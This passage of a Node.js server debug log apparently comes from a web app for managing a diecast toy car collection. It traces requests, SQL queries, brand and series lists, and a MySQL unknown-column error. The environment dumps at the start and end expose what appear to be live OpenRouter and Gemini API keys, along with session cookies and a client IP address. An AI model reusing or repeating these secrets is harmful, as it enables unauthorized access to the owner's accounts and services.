    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-worksheet',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'x-forwarded-for': '49.43.185.167',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-14T10:01:13.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-worksheet',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.185.167',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-worksheet',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-worksheet',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'HTTP_X_FORWARDED-FOR': '49.43.185.167',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-07-13T10:02:17.071Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:02:17.072Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:02:17.075Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-13T10:02:17.075Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-07-13T10:02:17.076Z server-connect:app Executing action step identify
2026-07-13T10:02:17.076Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:17.076Z server-connect:output identity: 1
2026-07-13T10:02:17.076Z server-connect:app Executing action step restrict
2026-07-13T10:02:17.076Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:17.076Z server-connect:app Executing action step identify
2026-07-13T10:02:17.076Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:17.076Z server-connect:output identity: 1
2026-07-13T10:02:17.076Z server-connect:app Executing action step restrict
2026-07-13T10:02:17.077Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:17.077Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:02:17.077Z server-connect:output restrict: undefined
2026-07-13T10:02:17.077Z server-connect:app Executing action step select
2026-07-13T10:02:17.078Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:02:17.078Z server-connect:output restrict: undefined
2026-07-13T10:02:17.078Z server-connect:app Executing action step select
2026-07-13T10:02:17.078Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:02:17.079Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-07-13T10:02:17.080Z server-connect:app Executing action step identify
2026-07-13T10:02:17.080Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:17.081Z server-connect:output identity: 1
2026-07-13T10:02:17.081Z server-connect:app Executing action step restrict
2026-07-13T10:02:17.081Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:17.082Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-07-13T10:02:17.084Z server-connect:app Executing action step identify
2026-07-13T10:02:17.084Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:17.084Z server-connect:output identity: 1
2026-07-13T10:02:17.084Z server-connect:app Executing action step restrict
2026-07-13T10:02:17.084Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:17.085Z server-connect:output restrict: undefined
2026-07-13T10:02:17.085Z server-connect:app Executing action step paged
2026-07-13T10:02:17.085Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-13T10:02:17.087Z server-connect:app Executing action step identify
2026-07-13T10:02:17.087Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:17.087Z server-connect:output identity: 1
2026-07-13T10:02:17.087Z server-connect:app Executing action step restrict
2026-07-13T10:02:17.087Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:17.088Z server-connect:output Error at list: Error: select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1 - Unknown column 'diecast_cars.has_real_car' in 'field list'
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_BAD_FIELD_ERROR',
  errno: 1054,
  sqlState: '42S22',
  sqlMessage: "Unknown column 'diecast_cars.has_real_car' in 'field list'",
  sql: 'select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1'
}
2026-07-13T10:02:17.088Z server-connect:output restrict: undefined
2026-07-13T10:02:17.088Z server-connect:app Executing action step select
2026-07-13T10:02:17.089Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:02:17.090Z server-connect:server Got error? Error: select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1 - Unknown column 'diecast_cars.has_real_car' in 'field list'
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_BAD_FIELD_ERROR',
  errno: 1054,
  sqlState: '42S22',
  sqlMessage: "Unknown column 'diecast_cars.has_real_car' in 'field list'",
  sql: 'select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1'
}
2026-07-13T10:02:17.092Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-07-13T10:02:17.092Z server-connect:app Executing action step select
2026-07-13T10:02:17.092Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:02:17.093Z server-connect:output restrict: undefined
2026-07-13T10:02:17.093Z server-connect:app Executing action step select
2026-07-13T10:02:17.093Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:02:17.094Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-07-13T10:02:17.095Z server-connect:app Executing action step select
2026-07-13T10:02:17.095Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:02:17.096Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-07-13T10:02:17.098Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-07-13T10:02:20.487Z server-connect:router Serving templateView /diecast
2026-07-13T10:02:20.488Z server-connect:app Executing action step identify
2026-07-13T10:02:20.488Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:20.488Z server-connect:output identity: 1
2026-07-13T10:02:20.488Z server-connect:app Executing action step restrict
2026-07-13T10:02:20.488Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-13T10:02:20.489Z server-connect:output restrict: undefined
2026-07-13T10:02:20.489Z server-connect:router Render template diecast
2026-07-13T10:02:20.490Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
